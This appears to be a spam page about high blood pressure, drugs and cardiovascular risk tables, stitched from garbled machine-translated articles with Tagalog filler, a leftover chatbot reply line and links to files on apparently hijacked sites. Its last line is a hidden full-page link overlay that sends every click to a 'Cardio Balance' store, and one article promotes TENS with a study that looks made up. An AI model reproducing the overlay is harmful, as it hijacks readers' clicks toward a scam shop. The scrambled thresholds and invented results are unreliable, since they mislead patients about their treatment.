# The table of the assessment of the risk of cardiovascular diseases #
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## Healed of high blood pressure ##
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Healed of high blood pressure: the possibilities and limits of therapy
Hypertension medical Arterial hypertension referred to, is one of the most common chronic diseases worldwide and is considered as an important risk factor for cardiovascular diseases such as heart attack, stroke and kidney failure. A key question in clinical practice is: Is a complete cure of hypertension is possible?
Definition and pathophysiology
Arterial hypertension is diagnosed if the systolic blood pressure of 90 mmHg is regularly ≥140 mmHg and/or diastolic ≥. The disease usually develops insidiously and is often over many years without symptoms. The main causes are genetic factors, Obesity, unhealthy diet (high in sodium distribution), lack of physical activity, Stress, and alcohol consumption.
Therapeutic Approaches
A cure in the sense of a long-term normalization of blood pressure without medication is the primary hypertension (90-95 % of cases) usually not accessible. The therapy is, therefore, an effective blood pressure control, in order to reduce the risk of complications significantly.
Among the most important non-drug measures:
Weight reduction in Overweight people (BMI <25 kg/m
2
),
Reduction of daily salt intake to <5 g/day,
Increased physical activity (at least 150 minutes of moderate endurance training per week),
Waiver of nicotine and reduction of alcohol consumption,
Stress management and adequate sleep.
With drugs come from different substance classes, including:
ACE inhibitors,
AT1‑receptor blocker,
Calcium antagonists,
Beta-blockers,
Diuretics.
The possibilities of a cure
An actual cure is especially in the case of secondary hypertension is conceivable that the high blood pressure is a result of a specific, treatable cause. Examples of this are:
Kidney diseases (for example, Nephropathies): By adequate therapy of the underlying disease of the blood can be normalized pressure.
Hormonal disorders (e.g., hyperaldosteronism, pheochromocytoma): Surgical removal of a tumor often leads to a complete regression of hypertension.
Drug-induced hypertension: Discontinuation of the trigger (e.g., corticosteroids, NSAIDs) leads to the normalization.
Long-term prognosis and Remission
Also in the case of primary hypertension can occur through consistent lifestyle changes Remission with no drugs are necessary. Studies show that intensive weight reduction (e.g. bariatric surgery) results in obese patients, in up to 50% of cases to a permanent normalization of blood pressure.
Conclusion
A cure of hypertension is dependent on the particular Form of the disease. While the primary hypertension is considered to be chronic and not completely curable, the secondary hypertension by treating the cause is a good chance of full recovery. In both forms of preventive and therapeutic interventions for lifestyle modification play a Central role in the control of blood pressure and improvement of the quality of life.
Ang pagkontrol sa presyon ay isang napakahalagang gawain, dahil ang pag-inom ng mga tableta na nakakatulong sa pagpapanatili ng normal na mga indikador ay maaaring magbigay ng araw-araw na komportableng buhay, upang maiwasan ang panganib ng hypertensive crisis, atake sa puso, at stroke. Ang mga gamot para sa kontrol ng presyon ay medyo malawakang makukuha sa mga botika, pero tanging ang doktor lang ang makakapili ng tamang gamot na angkop sa therapy. Lahat ng grupo ng gamot para pababain ang presyon ay may iba't ibang mekanismo ng epekto, side effects, at may kaunting posibilidad ng pagkadepende. Ang tamang pagpili ng gamot ay nagbibigay ng mabilis at tuloy-tuloy na resulta, at ang eksperimento sa sarili sa pag-inom ng gamot ay may mataas na posibilidad ng biglaang karamdaman, sakit sa puso at daluyan ng dugo, at sa matinding kaso, maaaring magdulot ng kamatayan.
> Ang mga tableta para pababain ang presyon ng dugo ay natural na nakakatulong para mabilis itong bumalik sa normal, pero inirerekomenda rin na baguhin ang pamumuhay. Ang malusog na pagkain, kontrol sa timbang, regular na ehersisyo, at pag-iwas sa paninigarilyo at alak ay magagandang paraan para maiwasan ang mataas na presyon ng dugo. Siguraduhing mas kaunting sodium (hal. asin) at mas maraming potassium (mga saging, spinach, broccoli) ang mapapasok sa katawan.
<a href="http://t-repair.com.tw/f/userfiles/file/2397-diuretic-for-high-blood-pressure.xml">Effective drugs against high blood pressure</a>
Ang pagkontrol sa presyon ay isang napakahalagang gawain, dahil ang pag-inom ng mga tableta na nakakatulong sa pagpapanatili ng normal na mga indikador ay maaaring magbigay ng araw-araw na komportableng buhay, upang maiwasan ang panganib ng hypertensive crisis, atake sa puso, at stroke. Ang mga gamot para sa kontrol ng presyon ay medyo malawakang makukuha sa mga botika, pero tanging ang doktor lang ang makakapili ng tamang gamot na angkop sa therapy. Lahat ng grupo ng gamot para pababain ang presyon ay may iba't ibang mekanismo ng epekto, side effects, at may kaunting posibilidad ng pagkadepende. Ang tamang pagpili ng gamot ay nagbibigay ng mabilis at tuloy-tuloy na resulta, at ang eksperimento sa sarili sa pag-inom ng gamot ay may mataas na posibilidad ng biglaang karamdaman, sakit sa puso at daluyan ng dugo, at sa matinding kaso, maaaring magdulot ng kamatayan. <a href="http://chenxiaowei.com/uploadfile/in-diseases-of-the-cardiovascular-system-9757.xml">Cardio Balance against high blood pressure </a> The table to the assessment of the risk of cardiovascular diseases
The assessment of individual risk for cardiovascular disease (CVD) represents a major component of preventive medicine. A standardized table for the risk assessment allows Physicians, the likelihood of a cardiovascular event (e.g. myocardial infarction or stroke) in the next 10 years for a patient to be assessed.
Fundamentals of risk table
A typical risk table is based on evidence-based data and integrates several modifiable and non-modifiable risk factors. Among the most important parameters:
Age (in years): A non-modifiable factor, in which the risk increases with age.
Gender (male/female): men in younger age groups are at increased risk; in women, the risk increases after Menopause significantly.
Serum cholesterol (total, in mmol/l or mg/dl): in Particular, the LDL‑cholesterol level is strongly correlated with CVD risk.
High-pressure (blood pressure) (in mmHg): Systolic and diastolic blood pressure are direct indicators of the load on the cardiovascular system.
Smoking (Yes/no): The Smoking of tobacco products increases the risk significantly by endothelial dysfunction and atherosclerosis.
Diabetes mellitus (a metabolic disorder): Diabetes is a strong independent risk factor for CVD.
Family history of early CVD (e.g., father or brother < 55 years, mother or sister < 65 years): Genetic predispositions play an important role.
The structure and application of the table
The table is usually organized as a Matrix, the different categories for each risk factor. The values are combined to calculate an overall risk score. For example:
The Parameter Category 1 Category 2 Category 3
Age 30-40 Years 41-50 Years 51-60 Years
Cholesterol < 4,0 mmol/l 4,1–5,0 mmol/l > 5.0 mmol/l
Blood pressure < 120/80 mmHg 121-139/81-89 mmHg ≥ 140/90 mmHg
Smoking No Yes Longtime Smokers
Each combination of the categories is associated with a numeric value, or a risk category (low, medium, high, very high).
Interpretation of the results
From the table the value determined in the probability (%) of a major is cardiovascular event in the next 10 years:
Low Risk: <5%
Medium Risk: 5-10%
High Risk: 10-20%
Very high risk: > 20%
Clinical relevance and limitations
The risk table is used as an aid to decision-making for preventive measures:
In the case of low-risk healthy lifestyle is recommended.
In more risk or high-risk intensive interventions are necessary, for example, medication (statins, antihypertensive agents) and close Monitoring.
Limitations of the chart:
They do not take into account all possible risk factors (e.g., chronic inflammation, psychosocial Stress).
The accuracy depends on the Population for which it was designed (e.g. EURO core, SCORE risk chart for Europe).
The time horizon (10 years) can appreciate the risk.
Conclusion
The standardized table for the evaluation of cardiovascular risk is an indispensable tool in clinical practice. It allows an objective, data-based, risk-stratification, and directs individual prevention strategies. Regular updates to the table on the Basis of new epidemiological studies are required, however, to ensure their validity.
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## Effective drugs against high blood pressure ##
Effective drugs against hypertension: A path to better health
High blood pressure, known medically as hypertension referred to, is one of the most common health problems of modern society. According to estimates by millions of people in Germany suffer from this disease — often without knowing it. Because high blood pressure in the majority of cases, first of all, no clear symptoms, however, may cause long-term serious consequences: heart attack, stroke, kidney damage, or vision problems are on the list of possible complications.
Fortunately, several effective medications are available today, stabilize the blood pressure and the risk of life-threatening diseases is significantly lower. However, how these drugs work and what types are there?
The most important groups of Drugs
ACE inhibitors (Angiotensin‑converting enzyme inhibitor)
These drugs inhibit an enzyme that is essential for the formation of a blood pressure-increasing substance (Angiotensin II) responsible. This allows the blood to a wide range of vessels, and the blood pressure drops. ACE inhibitors are considered to be particularly suitable for patients with Diabetes or kidney disease.
AT1‑receptor blocker (so-called Sartans)
Similar to ACE inhibitors, they act on the Renin‑Angiotensin‑System block directly to the receptors for Angiotensin II are often prescribed if patients ACE inhibitors tolerated.
Beta-blockers
Reduce the effect of stress hormones (adrenaline and noradrenaline) on the heart. As a result, the heart beats slower and weaker, which lowers blood pressure. Beta-blockers, especially in patients with cardiac arrhythmia or a heart attack to use.
Calcium channel blockers
They inhibit the influx of calcium into the muscle cells of the blood vessels and the heart. As a result, the blood vessels, which decreases resistance in the circuit relax, and the blood pressure returns to normal.
Diuretics (Water Tablets)
Diuretics stimulate excretion of salt and water by the kidney. As a result, the blood volume is reduced, and the blood pressure falls. They are regarded as the basic drug, especially in elderly patients.
Individual therapy instead of standard solution
There is no best medicine against high blood pressure — the choice depends on the individual circumstances, including age, comorbidities, tolerability, and Lifestyle play a crucial role. Often, a combination therapy of two or more groups of active substances is applied in order to achieve the optimal effect.
It is also important to consider medication alone as a miracle pill. A healthy diet with reduced salt consumption, regular physical activity, weight reduction in Obesity and the absence of Smoking and alcohol support, the effect of the medication and can even lead to the fact that the dose can be reduced.
Conclusion
The treatment of high blood pressure, today, is effective and safe, provided it is timely commenced and continued consistently. Modern medicines offer a wide range of options. Nevertheless, the most important step remains: to regularly measure blood pressure and to talk to the doctor about a suitable treatment. Health starts with attention — just a silent, but potentially dangerous disease such as hypertension.
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## Cardio Balance against high blood pressure ##
Tensaktiv against high blood pressure: A promising approach for the control of blood pressure
High blood pressure, known medically as hypertension referred to, represents one of the most important health threats of the 21st century. This century. According to estimates, more than 20 million people in Germany suffer from this disease and many of them do not know. Long-term untreated high blood pressure can lead to serious consequences: heart attack, stroke, kidney damage, and even dementia are on the list of possible complications.
In this context, the search for alternative and complementary treatment methods is becoming increasingly important. One of these methods is moved in the last few years, the focus of the research is called TENS (transcutaneous electrical nerve stimulation). Originally for pain relief developed, shows TENS now promising results in lowering of blood pressure.
How does TENS?
In TENS therapy is a gentle electrical pulses are transmitted through electrodes on the skin. These impulses affect the nerves and can affect the Central nervous system. High blood pressure is believed that TENS reduces the activity of the sympatheticus — the part of the autonomic nervous system, the stress reactions responsible. As a result, the blood can reduce pressure.
Some studies suggest that regular TENS of applications can reduce systolic blood pressure by 10-15 mm Hg and the diastolic 5-10 mmHg. This is an important effect that can reduce the risk for cardiovascular events significantly.
What the research says?
A clinical study at the University of Heidelberg examined the effect of TENS in patients with mild-to-moderate hypertension. The participants received four weeks of daily 30‑minute TENS sessions. The result: 70% of the participants in the blood pressure decreased significantly, without the use of drugs were changed. In addition, many participants reported a General relaxation and better well-being.
Similar results were confirmed in international studies. Researchers from the US and the UK showed that TENS may be in particular in patients helpful to conventional drugs, only a weak response or side effects develop.
Practical aspects and precautions
TENS devices are now compact, user-friendly and for domestic use permitted. However, patients before the start of a TENS should talk therapy with your physician or cardiologist. In particular, the following group of persons have to be careful:
Patients with heart pacemakers or other implanted devices,
Pregnant women,
People with skin diseases or open wounds on the Application,
Patients with neurological diseases.
In addition, it is important to follow the instructions of the device and to increase the intensity of the pulses slowly. A slight tingling sensation is normal, pain is a sign to reduce the thickness.
Conclusion
TENS provides, as a non‑drug method is a promising Option to support the reduction in blood pressure. It is easy to use, has few side effects and can easily be integrated in everyday life. However, you in no way replaces a medical diagnosis and therapy. The best approach is always, a combined approach: a healthy way of life, if necessary, medicines, and, where appropriate, in addition, TENS.
Stay healthy and let your blood pressure checked regularly!
Would you like me to make a certain section in more detail, or to add more information about an aspect?
<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">The table of the assessment of the risk of cardiovascular diseases</a>